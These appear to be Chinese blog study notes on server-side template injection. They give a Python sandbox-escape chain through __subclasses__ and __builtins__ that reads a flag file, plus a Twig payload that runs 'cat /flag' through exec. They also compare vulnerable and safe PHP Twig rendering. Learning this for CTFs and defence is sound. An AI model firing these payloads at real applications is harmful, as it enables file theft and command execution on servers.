ssti
攻击流程,以文件读取为例子
函数解析
1
|
__class__ 返回调用的参数类型
|
获取基本类
1
|
''.__class__.__mro__[2]
|
获取基本类后,继续向下获取基本类 (object) 的子类
1
|
object.__subclasses__()
|
找到重载过的__init__
类 (在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的)
1
|
''.__class__.__mro__[2].__subclasses__()[99].__init__
|
查看其引用__builtins__
builtins即是引用,Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
|
这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能
1
|
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
|
浅析SSTI(python沙盒绕过) · 大专栏 (dazhuanlan.com)
flask下jinja2模板注入漏洞,可以利用“{{ }}”进行注入;
php下twig模板注入
看两段代码观察不同的地方来知道为什么会出现该漏洞
- 输入{{7*‘7’}},返回49表示是 Twig 模块
- 输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
用对应的twig模块的payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
echo $output;
第二种会造成漏洞
对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输入而造成的(Web安全真谛:永远不要相信用户的输入!)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?